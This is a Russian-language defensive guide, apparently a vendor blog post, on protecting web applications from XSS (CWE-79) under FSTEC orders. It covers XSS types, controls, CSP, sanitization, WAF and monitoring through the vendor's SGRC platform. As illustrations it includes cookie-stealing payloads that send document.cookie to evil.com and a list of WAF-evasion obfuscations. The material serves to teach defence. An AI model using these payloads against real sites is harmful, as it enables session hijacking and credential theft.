Защита от XSS-уязвимостей (CWE-79): меры по приказам ФСТЭК

Межсайтовый скриптинг (XSS, CWE-79) — одна из самых массовых уязвимостей веб-приложений. По классификации OWASP Top 10 XSS входит в категорию A03:2021 Injection наряду с SQL-инъекциями. Реестр БДУ ФСТЭК содержит более 5 000 записей с CWE-79 — и это только задокументированные случаи. Для операторов ГИС, ИСПДн и объектов КИИ защита от XSS --- не рекомендация, а обязательное требование приказов ФСТЭК №117, №21 и №239.

В этой статье разберём природу XSS-уязвимостей, их классификацию (Stored, Reflected, DOM-based), масштаб проблемы по данным БДУ ФСТЭК, конкретные требования ФСТЭК к защите, практические меры устранения — от output encoding до Content Security Policy — и подход к автоматизации мониторинга через SGRC-платформу. Материал рассчитан на специалистов ИБ, разработчиков и руководителей, отвечающих за безопасность веб-приложений.

Что такое XSS (CWE-79) и почему это критично

XSS (Cross-Site Scripting) --- атака, при которой злоумышленник внедряет вредоносный JavaScript-код в веб-страницу, отображаемую другим пользователям. Механизм уязвимости: приложение принимает пользовательский ввод и вставляет его в HTML-ответ без экранирования. Браузер жертвы не может отличить легитимный скрипт сайта от внедрённого — и выполняет оба с одинаковыми привилегиями.

Пример уязвимого кода:

<p>Результат поиска: <%= request.getParameter("query") %></p>

Если в параметре query передать <script>document.location='https://evil.com/?c='+document.cookie</script>, браузер выполнит этот скрипт и отправит cookie пользователя на сервер атакующего.

CWE-79 в классификации MITRE определяется как «Improper Neutralization of Input During Web Page Generation» --- неполная нейтрализация ввода при генерации веб-страницы. Именно этот идентификатор используется в БДУ ФСТЭК для категоризации уязвимостей, связанных с межсайтовым скриптингом.

Последствия успешной XSS-атаки

Влияние XSS зависит от контекста приложения и привилегий скомпрометированного пользователя:

• Перехват сессии. Кража cookie с идентификатором сессии даёт атакующему вход в систему от имени жертвы. Если жертва — администратор ГИС, атакующий получает полный контроль над системой.
• Кража учётных данных. Вредоносный скрипт подменяет форму авторизации на фишинговую, собирая логины и пароли пользователей.
• Распространение вредоносного ПО. XSS используется для перенаправления на сайты с эксплойтами или для загрузки вредоносных файлов.
• Подмена содержимого страницы (Defacement). Атакующий изменяет контент веб-страницы: подменяет информацию, размещает ложные объявления или компрометирующие материалы.
• Кейлоггинг. JavaScript-кейлоггер перехватывает всё, что пользователь вводит на странице: пароли, номера карт, персональные данные.
• Криптомайнинг. Внедрённый скрипт использует вычислительные ресурсы браузера жертвы для майнинга криптовалют.
• Атака на внутреннюю сеть. Через XSS в корпоративном веб-приложении скрипт может сканировать внутреннюю сеть, обращаться к сервисам на localhost и реализовать SSRF-атаки.

Почему XSS до сих пор актуален

Несмотря на два десятилетия борьбы с XSS, эта уязвимость остаётся массовой по нескольким причинам:

• Множество контекстов вывода. Данные вставляются в HTML-тело, атрибуты тегов, JavaScript-строки, URL, CSS — каждый контекст требует своего метода экранирования. Универсального escape не существует.
• Сложность современных фронтендов. Single Page Applications (SPA), шаблонизаторы, компонентные фреймворки — каждая технология создаёт новые точки для XSS: dangerouslySetInnerHTML (React), v-html (Vue), [innerHTML] (Angular).
• DOM-based XSS. Уязвимость, которая существует исключительно в клиентском JavaScript и не видна серверным сканерам. Количество DOM-based XSS растёт с усложнением фронтенд-логики.
• Third-party компоненты. Библиотеки, виджеты, рекламные скрипты — каждый сторонний компонент на странице расширяет поверхность атаки.

XSS в реестре БДУ ФСТЭК: масштаб проблемы

Реестр БДУ ФСТЭК систематизирует информацию об уязвимостях, включая классификацию по CWE. Анализ записей с CWE-79 демонстрирует масштаб проблемы межсайтового скриптинга в программном обеспечении, используемом в российских организациях.

Статистика CWE-79 в БДУ

По состоянию на март 2026 года:

• Более 5 000 записей в БДУ ФСТЭК связаны с CWE-79 (межсайтовый скриптинг).
• CWE-79 входит в топ-3 наиболее распространённых типов уязвимостей в реестре наряду с CWE-89 (SQL-инъекции) и CWE-787 (запись за пределами буфера).
• Ежемесячно публикуется 40–80 новых записей с CWE-79 — XSS обнаруживается чаще, чем SQL-инъекции.
• Средняя оценка CVSS для XSS --- 4.3–9.0, диапазон шире, чем у SQL-инъекций, из-за различий между типами XSS.

Затронутое программное обеспечение

Уязвимости CWE-79 в БДУ затрагивают широкий спектр ПО:

• CMS и веб-фреймворки: WordPress (плагины и темы — основной источник), Joomla, Drupal, 1С-Битрикс, NetCat CMS.
• Системы электронного документооборота: веб-интерфейсы СЭД, порталы госуслуг, информационные панели.
• Сетевое оборудование: веб-интерфейсы управления маршрутизаторами, коммутаторами, межсетевыми экранами (Cisco, Huawei, отечественные вендоры).
• Средства защиты информации: веб-консоли антивирусов, SIEM, систем управления доступом — даже средства ИБ содержат XSS.
• Почтовые системы: веб-интерфейсы электронной почты (Roundcube, Zimbra) — Stored XSS через тело письма.

Важно: уязвимость CWE-79 в БДУ не означает низкое качество продукта. Это означает, что уязвимость обнаружена, задокументирована и доведена до вендора --- признак работающего процесса раскрытия уязвимостей.

Подробную карточку CWE-79 с перечнем связанных уязвимостей из БДУ можно посмотреть в разделе CWE-79: Межсайтовый скриптинг.

Характерный CVSS-профиль XSS-уязвимостей

CVSS-профиль XSS отличается от SQL-инъекций — оценки варьируются сильнее в зависимости от типа XSS:

Ключевое отличие от SQL-инъекций: Reflected и DOM-based XSS требуют взаимодействия пользователя (User Interaction: Required), что снижает CVSS-оценку. Stored XSS не требует взаимодействия — и получает оценки, сопоставимые с SQL-инъекциями.

Рассчитать оценку CVSS v4.0 для конкретной XSS-уязвимости с учётом контекста организации можно в калькуляторе CVSS v4.0 на КиберОснова.

Типы XSS-атак: классификация

Понимание типов XSS необходимо для выбора адекватных мер защиты. Каждый тип имеет свой механизм эксплуатации, вектор атаки и уровень опасности.

Stored XSS (хранимый, персистентный)

Самый опасный тип XSS. Вредоносный скрипт сохраняется на сервере — в базе данных, файловой системе, логах — и выполняется у каждого пользователя, открывшего заражённую страницу.

Типичные точки внедрения:

• Комментарии и форумы. Пользователь публикует комментарий с <script> — скрипт выполняется у всех читателей.
• Профили пользователей. Поля «Имя», «О себе», «Адрес» — если не экранируются при отображении.
• Тикеты и обращения. В системах Service Desk тело обращения часто содержит HTML — XSS в тикете выполняется у оператора поддержки.
• Файлы и метаданные. Имя загруженного файла, EXIF-данные изображения, содержимое SVG.

Пример: атакующий создаёт аккаунт с именем <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">. Каждый раз, когда его профиль отображается на странице (список пользователей, комментарий, рейтинг), браузер выполняет скрипт в атрибуте onerror.

Stored XSS получает CVSS 7.5–9.0, поскольку не требует взаимодействия пользователя (жертва просто заходит на страницу) и поражает множество пользователей одновременно.

Reflected XSS (отражённый)

Вредоносный скрипт не сохраняется на сервере. Он передаётся через параметр URL или форму и «отражается» в HTML-ответе сервера. Для эксплуатации атакующий должен убедить жертву перейти по специально сформированной ссылке.

Пример уязвимого URL:

https://example.com/search?q=<script>alert(document.cookie)</script>

Если сервер вставляет параметр q в HTML без экранирования:

<p>Результаты поиска по запросу: <script>alert(document.cookie)</script></p>

Для распространения атакующий использует:

• Фишинговые письма с ссылкой, замаскированной через сокращатели URL.
• Социальные сети и мессенджеры — ссылка выглядит как легитимный URL сайта.
• Сторонние сайты — XSS-ссылка размещена в комментариях, форумах, рекламе.

Reflected XSS получает CVSS 5.4–7.5: требование взаимодействия (User Interaction: Required) снижает оценку, но последствия эксплуатации могут быть критичными — особенно если жертва обладает привилегиями администратора.

DOM-based XSS

Уязвимость существует исключительно в клиентском JavaScript. Сервер не участвует в передаче вредоносного кода — скрипт на странице читает данные из ненадёжного источника (URL, localStorage, postMessage) и вставляет их в DOM без экранирования.

Типичные источники (sources):

• document.location (hash, search, pathname)
• document.referrer
• window.name
• postMessage
• localStorage / sessionStorage

Типичные стоки (sinks):

• innerHTML, outerHTML
• document.write(), document.writeln()
• eval(), setTimeout(), setInterval() с строковым аргументом
• element.setAttribute() с href, src, action

Пример уязвимого кода:

// Приложение берёт имя из URL и вставляет в DOM
var name = decodeURIComponent(location.hash.substring(1));
document.getElementById('greeting').innerHTML = 'Привет, ' + name;

URL https://example.com/#<img src=x onerror=alert(1)> приведёт к выполнению скрипта.

DOM-based XSS сложнее обнаружить: серверные сканеры и WAF не видят эту уязвимость, поскольку вредоносный код не проходит через HTTP-запрос/ответ. Требуются специализированные инструменты статического анализа JavaScript (SAST) или динамического анализа (DAST с движком браузера).

Self-XSS и Mutation XSS

Self-XSS — атакующий убеждает жертву самостоятельно вставить вредоносный код в консоль браузера или в поле ввода. Технически это не уязвимость приложения, а социальная инженерия, но в сочетании с CSRF может стать полноценной атакой.

Mutation XSS (mXSS) — продвинутая техника, при которой безопасный HTML-код мутирует в опасный при обработке парсером браузера. Например, строка, прошедшая серверную санитизацию, после вставки через innerHTML и повторного разбора парсером браузера превращается в исполняемый скрипт. mXSS обходит многие HTML-санитайзеры и требует глубокого понимания особенностей парсинга HTML5.

Требования ФСТЭК к защите от XSS

Приказы ФСТЭК №117, №21 и №239 устанавливают обязательные меры защиты информации, которые прямо или косвенно требуют защиты от межсайтового скриптинга. Рассмотрим конкретные меры и их применение к CWE-79.

Меры обеспечения целостности (ОЦЛ)

• ОЦЛ.5 — контроль содержания информации, вводимой в информационную систему. Это прямое требование валидации и экранирования пользовательского ввода — ключевая мера против XSS. Приложение обязано проверять все данные, поступающие от пользователя, и нейтрализовать специальные символы HTML/JavaScript перед выводом.
• ОЦЛ.1 — контроль целостности ПО и средств защиты информации. XSS-атака с подменой содержимого страницы или внедрением кейлоггера нарушает целостность информационной системы.

Меры защиты информационной системы (ЗИС)

• ЗИС.23 — защита периметра информационной системы. WAF на границе сети фильтрует HTTP-запросы, содержащие XSS-паттерны: теги <script>, обработчики событий (onerror, onload, onmouseover), конструкции javascript: в URL.
• ЗИС.17 — разбиение информационной системы на сегменты. Изоляция веб-серверов в DMZ ограничивает возможности атакующего при эксплуатации XSS для бокового перемещения в внутреннюю сеть.

Меры анализа уязвимостей (АНЗ)

• АНЗ.1 — выявление, анализ уязвимостей информационной системы и оперативное устранение. Для веб-приложений это означает регулярное сканирование на CWE-79 с использованием DAST/SAST-инструментов.
• АНЗ.2 — контроль установки обновлений ПО. Патчи, закрывающие XSS-уязвимости в CMS, фреймворках и библиотеках, должны устанавливаться в рамках SLA.
• АНЗ.3 — контроль работоспособности и правильности функционирования ПО и СЗИ. WAF и CSP-политики должны быть корректно настроены и актуальны.

Подробнее о процессе управления уязвимостями — в статье Методика управления уязвимостями ФСТЭК.

SLA на устранение XSS по приказу №117

Приказ ФСТЭК №117 устанавливает обязательные сроки устранения уязвимостей для операторов ГИС:

На практике Stored XSS в публично доступных веб-приложениях получает оценку CVSS 7.0–9.0 — SLA от 24 часов до 7 дней. Reflected и DOM-based XSS чаще попадают в категорию Medium (30 дней), но если цель — администратор или система содержит ПДн, оценка повышается.

Практические меры защиты от XSS

Защита от XSS строится по принципу эшелонированной обороны: несколько уровней защиты, каждый из которых снижает вероятность и последствия атаки. Ни одна мера сама по себе не достаточна.

1. Output Encoding (экранирование вывода)

Основная и наиболее эффективная мера. Все пользовательские данные перед вставкой в HTML должны быть экранированы в соответствии с контекстом вывода. Универсального экранирования не существует — каждый контекст требует своего подхода.

Контекст HTML-тела:

< → &lt;    > → &gt;    & → &amp;    " → &quot;    ' → &#x27;

Контекст HTML-атрибута:

<!-- ОПАСНО -->
<a href="/user?name=<%= userInput %>">

<!-- БЕЗОПАСНО -->
<a href="/user?name=<%= encodeURIComponent(userInput) %>">

Контекст JavaScript:

// ОПАСНО
var name = '<%= userInput %>';

// БЕЗОПАСНО — JSON-сериализация
var name = JSON.parse('<%= JSON.stringify(userInput) %>');

Контекст URL:

<!-- ОПАСНО — javascript: в href -->
<a href="<%= userInput %>">

<!-- БЕЗОПАСНО — проверка протокола -->
<a href="<%= validateURL(userInput) %>">

Современные шаблонизаторы и фреймворки выполняют автоматическое экранирование по умолчанию:

• React: JSX экранирует все значения перед рендерингом (но dangerouslySetInnerHTML обходит защиту).
• Vue.js: двойные фигурные скобки {{ }} экранируют вывод (но v-html — нет).
• Angular: автоматическая санитизация при привязке данных (но bypassSecurityTrust* — обход).
• Go html/template: автоматическое контекстное экранирование.
• Jinja2 (Python): автоэкранирование включено по умолчанию.

2. Content Security Policy (CSP)

CSP — HTTP-заголовок, который сообщает браузеру, какие ресурсы разрешено загружать и выполнять на странице. CSP не предотвращает XSS-уязвимость в коде, но блокирует выполнение внедрённого скрипта в браузере — мощный второй рубеж.

Минимальная эффективная политика:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'

Что блокирует эта политика:

• Inline-скрипты (<script>alert(1)</script>) — не выполняются без 'unsafe-inline' или nonce/hash.
• Внешние скрипты с посторонних доменов — загрузка заблокирована.
• eval() и аналоги — запрещены по умолчанию.
• Clickjacking — frame-ancestors 'none' запрещает встраивание страницы в iframe.

Рекомендации по внедрению CSP:

1. Начните с Content-Security-Policy-Report-Only — политика логирует нарушения, но не блокирует. Проанализируйте отчёты.
2. Замените все inline-скрипты на внешние файлы или используйте nonce: script-src 'nonce-abc123' + <script nonce="abc123">.
3. Замените inline-стили на CSS-классы или используйте hash.
4. Постепенно ужесточайте политику, переходя от Report-Only к принудительной.

3. HttpOnly, Secure и SameSite для Cookie

Атрибуты cookie снижают последствия XSS, даже если уязвимость существует:

• HttpOnly — cookie недоступен для JavaScript (document.cookie не содержит его). Атакующий не может украсть сессионный идентификатор через XSS.
• Secure — cookie передаётся только по HTTPS. Предотвращает перехват при MitM-атаке.
• SameSite=Strict или SameSite=Lax — cookie не отправляется при межсайтовых запросах. Снижает эффективность CSRF-атак, которые часто комбинируются с XSS.

Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict; Path=/

HttpOnly не защищает от всех последствий XSS (атакующий по-прежнему может выполнять действия от имени пользователя в контексте текущей сессии), но лишает его возможности украсть cookie и использовать сессию из другого браузера.

4. Санитизация HTML (HTML Sanitization)

В ряде случаев приложение должно принимать HTML от пользователя: WYSIWYG-редакторы, Rich Text, разметка в тикетах. Экранирование здесь неприменимо — нужна санитизация: удаление опасных тегов и атрибутов с сохранением безопасных.

Рекомендованные библиотеки:

• DOMPurify (JavaScript) — стандарт де-факто для клиентской санитизации. Поддерживает белый список тегов и атрибутов, защищает от mXSS.
• Bleach (Python) — санитизация на стороне сервера.
• HtmlSanitizer (.NET) — белый список тегов, атрибутов и CSS-свойств.
• OWASP Java HTML Sanitizer — надёжная санитизация для Java.

Правило: всегда используйте белый список (allowlist) разрешённых тегов и атрибутов. Чёрный список (blocklist) запрещённых паттернов неэффективен — атакующие постоянно находят новые способы обхода.

Что разрешать в белом списке:

Теги: p, br, b, i, u, strong, em, a, ul, ol, li, h2, h3, h4, blockquote, code, pre
Атрибуты: href (только http/https), src (только http/https), alt, title, class

Что запрещать всегда: script, iframe, object, embed, form, input, обработчики событий (on*), javascript: в URL.

5. WAF (Web Application Firewall)

WAF анализирует HTTP-трафик и блокирует запросы, содержащие XSS-паттерны. Сертифицированные ФСТЭК решения:

• PT Application Firewall (Positive Technologies)
• Wallarm
• SolidWall WAF
• Код Безопасности: Континент WAF

Что WAF обнаруживает:

• Теги <script>, <img>, <svg>, <iframe> с обработчиками событий.
• Конструкции javascript:, data:text/html, vbscript: в атрибутах.
• Закодированные варианты: HTML-entities, URL-encoding, Unicode-escape, Base64.
• Аномалии: нетипичные символы в параметрах, подозрительная длина значений.

Ограничения WAF для XSS:

• DOM-based XSS не проходит через сервер — WAF его не видит.
• Обфускация: <ScRiPt>, <scr\x00ipt>, <svg/onload=alert(1)>, <img src=x onerror=&#97;lert(1)>.
• Mutation XSS: санитизированный HTML мутирует в браузере после прохождения WAF.
• Контекстные обходы: XSS через JSON-ответ, XML, SVG — WAF может не распознать контекст.

6. Валидация входных данных

Валидация на входе — дополнительный рубеж. Принцип: принимать только ожидаемые данные, отклонять всё остальное.

• Числовые поля: только цифры, точка, знак минуса. Скрипт в числовом поле — отклонить.
• Email: regex-проверка формата, ограничение длины.
• Телефон: только цифры, +, -, пробелы.
• Выбор из списка: значение из enum на сервере, не произвольный текст.
• Имена и тексты: ограничение длины, запрет управляющих символов.

Клиентская валидация (JavaScript) не защищает — она улучшает UX, но атакующий обходит её, отправляя запросы напрямую через Burp Suite или curl. Валидация обязательна на сервере.

7. Заголовки безопасности

Помимо CSP, ряд HTTP-заголовков снижает риск XSS:

• X-Content-Type-Options: nosniff — запрещает браузеру «угадывать» MIME-тип. Предотвращает выполнение JavaScript-кода, загруженного как изображение или текстовый файл.
• X-Frame-Options: DENY — запрещает встраивание страницы в iframe. Защита от Clickjacking, который часто комбинируется с XSS.
• Referrer-Policy: strict-origin-when-cross-origin — ограничивает информацию в заголовке Referer при межсайтовых переходах.
• Permissions-Policy — ограничивает доступ к API браузера (камера, микрофон, геолокация) — снижает возможности вредоносного скрипта.

8. Мониторинг и логирование

• Логирование блокировок WAF — паттерны XSS-попыток, источники, частота.
• CSP-отчёты — настройте report-uri или report-to для сбора нарушений CSP в реальном времени. Каждое нарушение — потенциальная попытка XSS или признак уязвимости.
• Алертинг при массовых срабатываниях WAF или CSP — признак целенаправленной атаки или сканирования.
• Корреляция событий WAF, CSP-отчётов и логов приложения — в SIEM или SGRC.

Как мониторить XSS из БДУ ФСТЭК

Работа с уязвимостями CWE-79 не заканчивается после настройки защиты. Ежедневно в БДУ ФСТЭК публикуются новые записи об уязвимостях, затрагивающих ПО в вашей инфраструктуре. Организация процесса мониторинга — требование приказов ФСТЭК и необходимость для реальной безопасности.

Ручной процесс и его ограничения

Минимальный ручной процесс мониторинга CWE-79:

1. Ежедневно проверять реестр БДУ ФСТЭК на наличие новых уязвимостей в используемом ПО.
2. Фильтровать по CWE-79 для фокуса на XSS.
3. Сопоставлять идентификаторы затронутого ПО с реестром ИТ-активов организации.
4. Рассчитывать SLA по CVSS-оценке в соответствии с приказом №117.
5. Фиксировать задачу на устранение, назначать ответственного, контролировать срок.

При инфраструктуре более 50 хостов и сотнях компонентов ПО ручной процесс занимает часы ежедневно и неизбежно приводит к пропускам. Учитывая, что CWE-79 публикуется 40–80 раз в месяц, таблица Excel перестаёт быть инструментом управления уязвимостями.

Автоматизация через SGRC-платформу

SGRC-платформа (Security Governance, Risk, Compliance) автоматизирует полный цикл работы с уязвимостями CWE-79:

Ежедневная синхронизация с БДУ. Платформа автоматически загружает новые записи из bdu.fstec.ru, включая обновления существующих уязвимостей (изменение CVSS-оценки, появление патча, изменение статуса).

Автоматическое сопоставление с активами. Новая уязвимость CWE-79 в WordPress 6.x автоматически привязывается ко всем серверам организации с установленным WordPress 6 --- при условии, что реестр ИТ-активов актуален.

Расчёт SLA. По CVSS-оценке платформа автоматически рассчитывает дедлайн устранения по приказу №117 и назначает приоритет в backlog.

Назначение ответственных. Уязвимость привязывается к владельцу актива или ИТ-подразделению, ответственному за веб-приложение.

Контроль устранения. Задача на устранение с дедлайном, эскалация при просрочке, отметка о закрытии после повторного сканирования.

Отчётность. Формирование отчётов о состоянии уязвимостей CWE-79 для руководства, аудитора и регулятора.

КиберОснова SGRC включает модуль БДУ ФСТЭК с ежедневной синхронизацией, CVSS v4.0, EPSS, CISA KEV и автоматическим расчётом SLA. Для оценки возможностей платформы доступна бесплатная демонстрация.

XSS и SQL-инъекции: комплексный подход

XSS (CWE-79) и SQL-инъекции (CWE-89) — два лидера среди уязвимостей веб-приложений в БДУ ФСТЭК. Общее у них: обе возникают из-за отсутствия нейтрализации пользовательского ввода. Различие: SQL-инъекция атакует серверную сторону (СУБД), XSS — клиентскую (браузер пользователя).

Эффективная защита веб-приложений требует комплексного подхода:

• Параметризованные запросы (от SQLi) + Output Encoding (от XSS) — два параллельных процесса.
• WAF блокирует оба типа атак, но с разными сигнатурами.
• SGRC-платформа мониторит и CWE-89, и CWE-79 из БДУ ФСТЭК в едином интерфейсе.
• Меры ФСТЭК (ОЦЛ.5, ЗИС.23, АНЗ.1) применяются к обоим типам уязвимостей.

Подробный разбор всех категорий OWASP Top 10, включая A03:2021 Injection, доступен в статье OWASP Top 10 на русском.

Чеклист защиты от XSS

Используйте этот чеклист для проверки защищённости веб-приложения от межсайтового скриптинга:

Код и архитектура

• Все пользовательские данные экранируются перед вставкой в HTML (output encoding по контексту: HTML body, атрибут, JavaScript, URL, CSS).
• Шаблонизатор использует автоэкранирование по умолчанию (React JSX, Vue {{ }}, Go html/template, Jinja2).
• Запрещено использование innerHTML, document.write(), eval(), v-html, dangerouslySetInnerHTML с пользовательскими данными.
• Для приёма HTML от пользователей используется санитизация через allowlist (DOMPurify, Bleach, OWASP Java Sanitizer).
• Валидация входных данных на стороне сервера: тип, формат, длина, диапазон.
• SVG-файлы санитизируются при загрузке (удаление <script>, on*-атрибутов, <foreignObject>).

HTTP-заголовки и cookie

• Content-Security-Policy настроен: script-src 'self' без 'unsafe-inline' и 'unsafe-eval'.
• X-Content-Type-Options: nosniff.
• X-Frame-Options: DENY (или CSP frame-ancestors 'none').
• Сессионные cookie: HttpOnly, Secure, SameSite=Strict/Lax.
• Referrer-Policy настроен.

Инфраструктура

• WAF (сертифицированный ФСТЭК) настроен и фильтрует XSS-паттерны.
• CSP-отчёты (report-uri / report-to) собираются и анализируются.
• Логи WAF коррелируются с событиями приложения в SIEM/SGRC.

Процесс

• Регулярное сканирование на XSS (DAST + SAST), включая DOM-based.
• Мониторинг CWE-79 в БДУ ФСТЭК — автоматический через SGRC или ручной по регламенту.
• SLA на устранение XSS настроены по приказу №117 (CVSS → дедлайн).
• Code Review включает проверку на XSS: контекстное экранирование, отсутствие innerHTML с пользовательскими данными, санитизация HTML.
• Разработчики обучены безопасному кодированию (OWASP XSS Prevention Cheat Sheet).

Итог: XSS-защита как непрерывный процесс

XSS остаётся одной из трёх самых массовых уязвимостей веб-приложений — и закрыть её одной мерой невозможно. Защита работает только как система: output encoding в коде, CSP в заголовках, WAF на периметре, мониторинг CWE-79 из БДУ ФСТЭК в SGRC. Приказы ФСТЭК №117, №21 и №239 задают рамку: SLA на устранение, обязательные меры ОЦЛ и АНЗ, сканирование и контроль обновлений. Используйте чеклист выше для аудита, а для автоматизации мониторинга — запросите демо КиберОснова SGRC.

FAQ

Ответы на частые вопросы о защите от XSS-уязвимостей (CWE-79), требованиях ФСТЭК и практических мерах.

Что такое XSS-уязвимость (CWE-79) простыми словами?

XSS (Cross-Site Scripting) — это атака, при которой злоумышленник внедряет вредоносный JavaScript-код в веб-страницу, просматриваемую другими пользователями. Когда браузер жертвы загружает заражённую страницу, скрипт выполняется в контексте доверенного сайта — с доступом к cookie, сессиям, localStorage и DOM. В результате атакующий может перехватить сессию пользователя, подменить содержимое страницы, перенаправить на фишинговый сайт или выполнить действия от имени жертвы. CWE-79 — идентификатор этой уязвимости в классификации Common Weakness Enumeration, который используется в БДУ ФСТЭК для категоризации записей.

Сколько уязвимостей CWE-79 содержится в реестре БДУ ФСТЭК?

По состоянию на март 2026 года реестр БДУ ФСТЭК содержит более 5 000 уязвимостей, связанных с межсайтовым скриптингом (CWE-79). Это делает CWE-79 одним из самых массовых типов уязвимостей в базе — наряду с SQL-инъекциями (CWE-89). Среди затронутого ПО — CMS (WordPress, Joomla, 1С-Битрикс), системы электронного документооборота, веб-интерфейсы сетевого оборудования и российские веб-приложения. Отслеживать новые записи CWE-79 можно через бесплатный реестр БДУ на КиберОснова с фильтрацией по типу уязвимости.

Чем отличаются Stored, Reflected и DOM-based XSS?

Stored XSS (хранимый) — вредоносный скрипт сохраняется на сервере (в базе данных, комментариях, профиле) и выполняется у каждого пользователя, открывшего заражённую страницу. Это самый опасный тип: одна инъекция поражает всех посетителей. Reflected XSS (отражённый) — скрипт передаётся через URL-параметр или форму и «отражается» в ответе сервера. Для эксплуатации жертва должна перейти по специальной ссылке. DOM-based XSS — уязвимость на стороне клиента: JavaScript на странице читает данные из URL (location.hash, location.search) и вставляет их в DOM без экранирования. Сервер вообще не участвует в передаче вредоносного кода.

Какие требования ФСТЭК относятся к защите от XSS?

Приказы ФСТЭК №117, №21 и №239 содержат меры, прямо или косвенно требующие защиты от XSS. Ключевые: ОЦЛ.5 — контроль содержания информации, вводимой в ИС, что подразумевает валидацию и экранирование пользовательского ввода. ЗИС.23 — защита периметра, включая фильтрацию HTTP-трафика через WAF для блокировки XSS-паттернов. АНЗ.1 — выявление и оперативное устранение уязвимостей, включая регулярное сканирование веб-приложений на CWE-79. АНЗ.2 — контроль установки обновлений ПО, закрывающих XSS-уязвимости. Подробный перечень мер защиты доступен в нашем разборе мер защиты ФСТЭК.

Что такое Content Security Policy (CSP) и как она защищает от XSS?

Content Security Policy — HTTP-заголовок, который указывает браузеру, откуда разрешено загружать скрипты, стили, изображения и другие ресурсы. Директива script-src 'self' запрещает выполнение inline-скриптов и загрузку JavaScript с внешних доменов — даже если атакующий внедрит тег <script> через XSS, браузер не выполнит его. CSP не заменяет экранирование вывода, но является мощным дополнительным слоем защиты. Внедрение CSP требует аудита всех inline-скриптов и стилей в приложении, перехода на nonce-based или hash-based подход. Заголовок Content-Security-Policy-Report-Only позволяет тестировать политику без блокировки.

Какие SLA на устранение XSS-уязвимостей устанавливает приказ ФСТЭК №117?

Приказ ФСТЭК №117 устанавливает SLA на устранение уязвимостей в зависимости от CVSS-оценки: критические (9.0–10.0) — 24 часа, высокие (7.0–8.9) — 7 дней, средние (4.0–6.9) — 30 дней. XSS-уязвимости получают CVSS от 4.3 до 9.0 в зависимости от типа: Stored XSS с захватом сессии администратора в ГИС — до 9.0 (Critical, 24 часа); Reflected XSS, требующий взаимодействия пользователя — обычно 6.1–7.5 (Medium–High, 7–30 дней); DOM-based XSS с ограниченным влиянием — 4.3–6.1 (Medium, 30 дней). Для уязвимостей, опубликованных в БДУ и затрагивающих ваше ПО, SLA составляет 5 дней.

Достаточно ли WAF для защиты от XSS?

WAF (Web Application Firewall) обнаруживает и блокирует типичные XSS-паттерны: теги <script>, обработчики событий (onerror, onload), javascript: в URL, закодированные варианты. Сертифицированные ФСТЭК WAF (PT Application Firewall, SolidWall) и другие решения (Wallarm) фильтруют входящие данные по требованиям мер ЗИС. Однако WAF в одиночку недостаточен: атакующие используют обфускацию, мутации тегов, Unicode-кодирование и DOM-based XSS, который вообще не проходит через сервер. WAF — внешний слой эшелонированной защиты, дополняющий output encoding, CSP, HttpOnly cookies и санитизацию ввода.

Как автоматизировать мониторинг XSS-уязвимостей через SGRC?

SGRC-платформа (Security Governance, Risk, Compliance) автоматизирует полный цикл работы с уязвимостями CWE-79: ежедневная синхронизация с БДУ ФСТЭК и получение новых записей, автоматическое сопоставление уязвимостей с реестром ИТ-активов организации, расчёт SLA по приказу №117 на основе CVSS-оценки, назначение ответственных и контроль сроков устранения, формирование отчётов для руководства и регулятора. КиберОснова SGRC связывает данные из БДУ с конкретными активами, ПО и ответственными — вместо таблицы Excel с тысячами строк специалист ИБ получает приоритизированный backlog с дедлайнами и статусами. Запросить демонстрацию можно бесплатно.